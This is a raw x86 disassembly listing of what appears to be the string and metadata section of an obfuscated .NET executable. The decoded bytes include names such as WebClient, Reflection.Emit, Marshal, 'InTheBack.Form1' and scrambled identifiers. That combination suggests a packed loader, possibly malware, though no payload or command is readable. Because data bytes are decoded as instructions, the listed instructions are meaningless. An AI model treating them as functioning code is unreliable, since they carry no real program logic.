45150f:	6f                   	outsl  %ds:(%esi),(%dx)
451510:	72 00                	jb     0x451512
451512:	55                   	push   %ebp
451513:	49                   	dec    %ecx
451514:	6e                   	outsb  %ds:(%esi),(%dx)
451515:	74 50                	je     0x451567
451517:	74 72                	je     0x45158b
451519:	00 53 79             	add    %dl,0x79(%ebx)
45151c:	73 74                	jae    0x451592
45151e:	65 6d                	gs insl (%dx),%es:(%edi)
451520:	2e 44                	cs inc %esp
451522:	69 61 67 6e 6f 73 74 	imul   $0x74736f6e,0x67(%ecx),%esp
451529:	69 63 73 00 47 65 74 	imul   $0x74654700,0x73(%ebx),%esp
451530:	4d                   	dec    %ebp
451531:	65 74 68             	gs je  0x45159c
451534:	6f                   	outsl  %ds:(%esi),(%dx)
451535:	64 73 00             	fs jae 0x451538
451538:	53                   	push   %ebx
451539:	79 73                	jns    0x4515ae
45153b:	74 65                	je     0x4515a2
45153d:	6d                   	insl   (%dx),%es:(%edi)
45153e:	2e 52                	cs push %edx
451540:	75 6e                	jne    0x4515b0
451542:	74 69                	je     0x4515ad
451544:	6d                   	insl   (%dx),%es:(%edi)
451545:	65 2e 49             	gs cs dec %ecx
451548:	6e                   	outsb  %ds:(%esi),(%dx)
451549:	74 65                	je     0x4515b0
45154b:	72 6f                	jb     0x4515bc
45154d:	70 53                	jo     0x4515a2
45154f:	65 72 76             	gs jb  0x4515c8
451552:	69 63 65 73 00 53 79 	imul   $0x79530073,0x65(%ebx),%esp
451559:	73 74                	jae    0x4515cf
45155b:	65 6d                	gs insl (%dx),%es:(%edi)
45155d:	2e 52                	cs push %edx
45155f:	75 6e                	jne    0x4515cf
451561:	74 69                	je     0x4515cc
451563:	6d                   	insl   (%dx),%es:(%edi)
451564:	65 2e 43             	gs cs inc %ebx
451567:	6f                   	outsl  %ds:(%esi),(%dx)
451568:	6d                   	insl   (%dx),%es:(%edi)
451569:	70 69                	jo     0x4515d4
45156b:	6c                   	insb   (%dx),%es:(%edi)
45156c:	65 72 53             	gs jb  0x4515c2
45156f:	65 72 76             	gs jb  0x4515e8
451572:	69 63 65 73 00 53 79 	imul   $0x79530073,0x65(%ebx),%esp
451579:	73 74                	jae    0x4515ef
45157b:	65 6d                	gs insl (%dx),%es:(%edi)
45157d:	2e 52                	cs push %edx
45157f:	65 73 6f             	gs jae 0x4515f1
451582:	75 72                	jne    0x4515f6
451584:	63 65 73             	arpl   %esp,0x73(%ebp)
451587:	00 49 6e             	add    %cl,0x6e(%ecx)
45158a:	54                   	push   %esp
45158b:	68 65 42 61 63       	push   $0x63614265
451590:	6b 2e 46             	imul   $0x46,(%esi),%ebp
451593:	6f                   	outsl  %ds:(%esi),(%dx)
451594:	72 6d                	jb     0x451603
451596:	31 2e                	xor    %ebp,(%esi)
451598:	72 65                	jb     0x4515ff
45159a:	73 6f                	jae    0x45160b
45159c:	75 72                	jne    0x451610
45159e:	63 65 73             	arpl   %esp,0x73(%ebp)
4515a1:	00 36                	add    %dh,(%esi)
4515a3:	46                   	inc    %esi
4515a4:	34 36                	xor    $0x36,%al
4515a6:	30 43 31             	xor    %al,0x31(%ebx)
4515a9:	41                   	inc    %ecx
4515aa:	37                   	aaa
4515ab:	35 35 44 44 38       	xor    $0x38444435,%eax
4515b0:	45                   	inc    %ebp
4515b1:	34 2e                	xor    $0x2e,%al
4515b3:	52                   	push   %edx
4515b4:	65 73 6f             	gs jae 0x451626
4515b7:	75 72                	jne    0x45162b
4515b9:	63 65 73             	arpl   %esp,0x73(%ebp)
4515bc:	2e 72 65             	jb,pn  0x451624
4515bf:	73 6f                	jae    0x451630
4515c1:	75 72                	jne    0x451635
4515c3:	63 65 73             	arpl   %esp,0x73(%ebp)
4515c6:	00 49 6e             	add    %cl,0x6e(%ecx)
4515c9:	54                   	push   %esp
4515ca:	68 65 42 61 63       	push   $0x63614265
4515cf:	6b 2e 50             	imul   $0x50,(%esi),%ebp
4515d2:	72 6f                	jb     0x451643
4515d4:	70 65                	jo     0x45163b
4515d6:	72 74                	jb     0x45164c
4515d8:	69 65 73 2e 52 65 73 	imul   $0x7365522e,0x73(%ebp),%esp
4515df:	6f                   	outsl  %ds:(%esi),(%dx)
4515e0:	75 72                	jne    0x451654
4515e2:	63 65 73             	arpl   %esp,0x73(%ebp)
4515e5:	2e 72 65             	jb,pn  0x45164d
4515e8:	73 6f                	jae    0x451659
4515ea:	75 72                	jne    0x45165e
4515ec:	63 65 73             	arpl   %esp,0x73(%ebp)
4515ef:	00 4f 70             	add    %cl,0x70(%edi)
4515f2:	43                   	inc    %ebx
4515f3:	6f                   	outsl  %ds:(%esi),(%dx)
4515f4:	64 65 73 00          	fs gs jae 0x4515f8
4515f8:	6c                   	insb   (%dx),%es:(%edi)
4515f9:	50                   	push   %eax
4515fa:	41                   	inc    %ecx
4515fb:	37                   	aaa
4515fc:	43                   	inc    %ebx
4515fd:	6b 70 59 6d          	imul   $0x6d,0x59(%eax),%esi
451601:	65 62 43 63          	bound  %eax,%gs:0x63(%ebx)
451605:	67 69 34 36 52 2e 50 	imul   $0x502e5236,(%si),%esi
45160c:	72 6f                	jb     0x45167d
45160e:	70 65                	jo     0x451675
451610:	72 74                	jb     0x451686
451612:	69 65 73 00 47 65 74 	imul   $0x74654700,0x73(%ebp),%esp
451619:	54                   	push   %esp
45161a:	79 70                	jns    0x45168c
45161c:	65 73 00             	gs jae 0x45161f
45161f:	47                   	inc    %edi
451620:	65 74 42             	gs je  0x451665
451623:	79 74                	jns    0x451699
451625:	65 73 00             	gs jae 0x451628
451628:	43                   	inc    %ebx
451629:	53                   	push   %ebx
45162a:	68 61 72 70 41       	push   $0x41707261
45162f:	72 67                	jb     0x451698
451631:	75 6d                	jne    0x4516a0
451633:	65 6e                	outsb  %gs:(%esi),(%dx)
451635:	74 49                	je     0x451680
451637:	6e                   	outsb  %ds:(%esi),(%dx)
451638:	66 6f                	outsw  %ds:(%esi),(%dx)
45163a:	46                   	inc    %esi
45163b:	6c                   	insb   (%dx),%es:(%edi)
45163c:	61                   	popa
45163d:	67 73 00             	addr16 jae 0x451640
451640:	43                   	inc    %ebx
451641:	53                   	push   %ebx
451642:	68 61 72 70 42       	push   $0x42707261
451647:	69 6e 64 65 72 46 6c 	imul   $0x6c467265,0x64(%esi),%ebp
45164e:	61                   	popa
45164f:	67 73 00             	addr16 jae 0x451652
451652:	53                   	push   %ebx
451653:	65 74 74             	gs je  0x4516ca
451656:	69 6e 67 73 00 52 65 	imul   $0x65520073,0x67(%esi),%ebp
45165d:	73 6f                	jae    0x4516ce
45165f:	6c                   	insb   (%dx),%es:(%edi)
451660:	76 65                	jbe    0x4516c7
451662:	45                   	inc    %ebp
451663:	76 65                	jbe    0x4516ca
451665:	6e                   	outsb  %ds:(%esi),(%dx)
451666:	74 41                	je     0x4516a9
451668:	72 67                	jb     0x4516d1
45166a:	73 00                	jae    0x45166c
45166c:	67 65 74 5f          	addr16 gs je 0x4516cf
451670:	43                   	inc    %ebx
451671:	6f                   	outsl  %ds:(%esi),(%dx)
451672:	6e                   	outsb  %ds:(%esi),(%dx)
451673:	74 72                	je     0x4516e7
451675:	6f                   	outsl  %ds:(%esi),(%dx)
451676:	6c                   	insb   (%dx),%es:(%edi)
451677:	73 00                	jae    0x451679
451679:	53                   	push   %ebx
45167a:	79 73                	jns    0x4516ef
45167c:	74 65                	je     0x4516e3
45167e:	6d                   	insl   (%dx),%es:(%edi)
45167f:	2e 57                	cs push %edi
451681:	69 6e 64 6f 77 73 2e 	imul   $0x2e73776f,0x64(%esi),%ebp
451688:	46                   	inc    %esi
451689:	6f                   	outsl  %ds:(%esi),(%dx)
45168a:	72 6d                	jb     0x4516f9
45168c:	73 00                	jae    0x45168e
45168e:	73 65                	jae    0x4516f5
451690:	74 5f                	je     0x4516f1
451692:	41                   	inc    %ecx
451693:	75 74                	jne    0x451709
451695:	6f                   	outsl  %ds:(%esi),(%dx)
451696:	53                   	push   %ebx
451697:	63 61 6c             	arpl   %esp,0x6c(%ecx)
45169a:	65 44                	gs inc %esp
45169c:	69 6d 65 6e 73 69 6f 	imul   $0x6f69736e,0x65(%ebp),%ebp
4516a3:	6e                   	outsb  %ds:(%esi),(%dx)
4516a4:	73 00                	jae    0x4516a6
4516a6:	52                   	push   %edx
4516a7:	75 6e                	jne    0x451717
4516a9:	74 69                	je     0x451714
4516ab:	6d                   	insl   (%dx),%es:(%edi)
4516ac:	65 48                	gs dec %eax
4516ae:	65 6c                	gs insb (%dx),%es:(%edi)
4516b0:	70 65                	jo     0x451717
4516b2:	72 73                	jb     0x451727
4516b4:	00 43 61             	add    %al,0x61(%ebx)
4516b7:	73 74                	jae    0x45172d
4516b9:	63 6c 61 73          	arpl   %ebp,0x73(%ecx,%eiz,2)
4516bd:	73 00                	jae    0x4516bf
4516bf:	43                   	inc    %ebx
4516c0:	6f                   	outsl  %ds:(%esi),(%dx)
4516c1:	6e                   	outsb  %ds:(%esi),(%dx)
4516c2:	63 61 74             	arpl   %esp,0x74(%ecx)
4516c5:	00 4d 61             	add    %cl,0x61(%ebp)
4516c8:	72 73                	jb     0x45173d
4516ca:	68 61 6c 42 79       	push   $0x79426c61
4516cf:	52                   	push   %edx
4516d0:	65 66 4f             	gs dec %di
4516d3:	62 6a 65             	bound  %ebp,0x65(%edx)
4516d6:	63 74 00 53          	arpl   %esi,0x53(%eax,%eax,1)
4516da:	79 73                	jns    0x45174f
4516dc:	74 65                	je     0x451743
4516de:	6d                   	insl   (%dx),%es:(%edi)
4516df:	2e 4e                	cs dec %esi
4516e1:	65 74 00             	gs je  0x4516e4
4516e4:	52                   	push   %edx
4516e5:	65 74 00             	gs je  0x4516e8
4516e8:	54                   	push   %esp
4516e9:	61                   	popa
4516ea:	72 67                	jb     0x451753
4516ec:	65 74 00             	gs je  0x4516ef
4516ef:	53                   	push   %ebx
4516f0:	79 73                	jns    0x451765
4516f2:	74 65                	je     0x451759
4516f4:	6d                   	insl   (%dx),%es:(%edi)
4516f5:	2e 52                	cs push %edx
4516f7:	65 66 6c             	gs data16 insb (%dx),%es:(%edi)
4516fa:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
4516ff:	6e                   	outsb  %ds:(%esi),(%dx)
451700:	2e 45                	cs inc %ebp
451702:	6d                   	insl   (%dx),%es:(%edi)
451703:	69 74 00 67 65 74 5f 	imul   $0x445f7465,0x67(%eax,%eax,1),%esi
45170a:	44
45170b:	65 66 61             	gs popaw
45170e:	75 6c                	jne    0x45177c
451710:	74 00                	je     0x451712
451712:	57                   	push   %edi
451713:	65 62 43 6c          	bound  %eax,%gs:0x6c(%ebx)
451717:	69 65 6e 74 00 43 6f 	imul   $0x6f430074,0x6e(%ebp),%esp
45171e:	6d                   	insl   (%dx),%es:(%edi)
45171f:	70 6f                	jo     0x451790
451721:	6e                   	outsb  %ds:(%esi),(%dx)
451722:	65 6e                	outsb  %gs:(%esi),(%dx)
451724:	74 00                	je     0x451726
451726:	50                   	push   %eax
451727:	6f                   	outsl  %ds:(%esi),(%dx)
451728:	69 6e 74 00 43 6f 6e 	imul   $0x6e6f4300,0x74(%esi),%ebp
45172f:	76 65                	jbe    0x451796
451731:	72 74                	jb     0x4517a7
451733:	00 43 61             	add    %al,0x61(%ebx)
451736:	6c                   	insb   (%dx),%es:(%edi)
451737:	6c                   	insb   (%dx),%es:(%edi)
451738:	76 69                	jbe    0x4517a3
45173a:	72 74                	jb     0x4517b0
45173c:	00 53 75             	add    %dl,0x75(%ebx)
45173f:	73 70                	jae    0x4517b1
451741:	65 6e                	outsb  %gs:(%esi),(%dx)
451743:	64 4c                	fs dec %esp
451745:	61                   	popa
451746:	79 6f                	jns    0x4517b7
451748:	75 74                	jne    0x4517be
45174a:	00 52 65             	add    %dl,0x65(%edx)
45174d:	73 75                	jae    0x4517c4
45174f:	6d                   	insl   (%dx),%es:(%edi)
451750:	65 4c                	gs dec %esp
451752:	61                   	popa
451753:	79 6f                	jns    0x4517c4
451755:	75 74                	jne    0x4517cb
451757:	00 50 65             	add    %dl,0x65(%eax)
45175a:	72 66                	jb     0x4517c2
45175c:	6f                   	outsl  %ds:(%esi),(%dx)
45175d:	72 6d                	jb     0x4517cc
45175f:	4c                   	dec    %esp
451760:	61                   	popa
451761:	79 6f                	jns    0x4517d2
451763:	75 74                	jne    0x4517d9
451765:	00 4e 65             	add    %cl,0x65(%esi)
451768:	78 74                	js     0x4517de
45176a:	00 53 79             	add    %dl,0x79(%ebx)
45176d:	73 74                	jae    0x4517e3
45176f:	65 6d                	gs insl (%dx),%es:(%edi)
451771:	2e 54                	cs push %esp
451773:	65 78 74             	gs js  0x4517ea
451776:	00 67 65             	add    %ah,0x65(%edi)
451779:	74 5f                	je     0x4517da
45177b:	54                   	push   %esp
45177c:	65 78 74             	gs js  0x4517f3
45177f:	00 73 65             	add    %dh,0x65(%ebx)
451782:	74 5f                	je     0x4517e3
451784:	54                   	push   %esp
451785:	65 78 74             	gs js  0x4517fc
451788:	00 75 00             	add    %dh,0x0(%ebp)
45178b:	76 00                	jbe    0x45178d
45178d:	73 65                	jae    0x4517f4
45178f:	74 5f                	je     0x4517f0
451791:	54                   	push   %esp
451792:	61                   	popa
451793:	62 49 6e             	bound  %ecx,0x6e(%ecx)
451796:	64 65 78 00          	fs gs js 0x45179a
45179a:	54                   	push   %esp
45179b:	65 78 74             	gs js  0x451812
45179e:	42                   	inc    %edx
45179f:	6f                   	outsl  %ds:(%esi),(%dx)
4517a0:	78 00                	js     0x4517a2
4517a2:	49                   	dec    %ecx
4517a3:	6e                   	outsb  %ds:(%esi),(%dx)
4517a4:	69 74 69 61 6c 69 7a 	imul   $0x657a696c,0x61(%ecx,%ebp,2),%esi
4517ab:	65
4517ac:	41                   	inc    %ecx
4517ad:	72 72                	jb     0x451821
4517af:	61                   	popa
4517b0:	79 00                	jns    0x4517b2
4517b2:	67 65 74 5f          	addr16 gs je 0x451815
4517b6:	41                   	inc    %ecx
4517b7:	73 73                	jae    0x45182c
4517b9:	65 6d                	gs insl (%dx),%es:(%edi)
4517bb:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
4517bf:	53                   	push   %ebx
4517c0:	6f                   	outsl  %ds:(%esi),(%dx)
4517c1:	61                   	popa
4517c2:	70 48                	jo     0x45180c
4517c4:	65 78 42             	gs js  0x451809
4517c7:	69 6e 61 72 79 00 00 	imul   $0x7972,0x61(%esi),%ebp
4517ce:	00 00                	add    %al,(%eax)
4517d0:	00 19                	add    %bl,(%ecx)
4517d2:	73 00                	jae    0x4517d4
4517d4:	31 00                	xor    %eax,(%eax)
4517d6:	6b 00 68             	imul   $0x68,(%eax),%eax
4517d9:	00 63 00             	add    %ah,0x0(%ebx)
4517dc:	63 00                	arpl   %eax,(%eax)
4517de:	78 00                	js     0x4517e0
4517e0:	34 00                	xor    $0x0,%al
4517e2:	2e 00 71 00          	add    %dh,%cs:0x0(%ecx)
4517e6:	61                   	popa
4517e7:	00 6d 00             	add    %ch,0x0(%ebp)
4517ea:	00 19                	add    %bl,(%ecx)
4517ec:	6a 00                	push   $0x0
4517ee:	79 00                	jns    0x4517f0
4517f0:	35 00 31 00 77       	xor    $0x77003100,%eax
4517f5:	00 69 00             	add    %ch,0x0(%ecx)
4517f8:	30 00                	xor    %al,(%eax)
4517fa:	67 00 2e 00 75       	add    %ch,0x7500
4517ff:	00 64 00 6b          	add    %ah,0x6b(%eax,%eax,1)
451803:	00 00                	add    %al,(%eax)
451805:	19 72 00             	sbb    %esi,0x0(%edx)
451808:	6e                   	outsb  %ds:(%esi),(%dx)
451809:	00 30                	add    %dh,(%eax)
45180b:	00 6c 00 6f          	add    %ch,0x6f(%eax,%eax,1)
45180f:	00 63 00             	add    %ah,0x0(%ebx)
451812:	79 00                	jns    0x451814
451814:	72 00                	jb     0x451816
451816:	2e 00 68 00          	add    %ch,%cs:0x0(%eax)
45181a:	7a 00                	jp     0x45181c
45181c:	6e                   	outsb  %ds:(%esi),(%dx)
45181d:	00 00                	add    %al,(%eax)
45181f:	19 73 00             	sbb    %esi,0x0(%ebx)
451822:	74 00                	je     0x451824
451824:	61                   	popa
451825:	00 33                	add    %dh,(%ebx)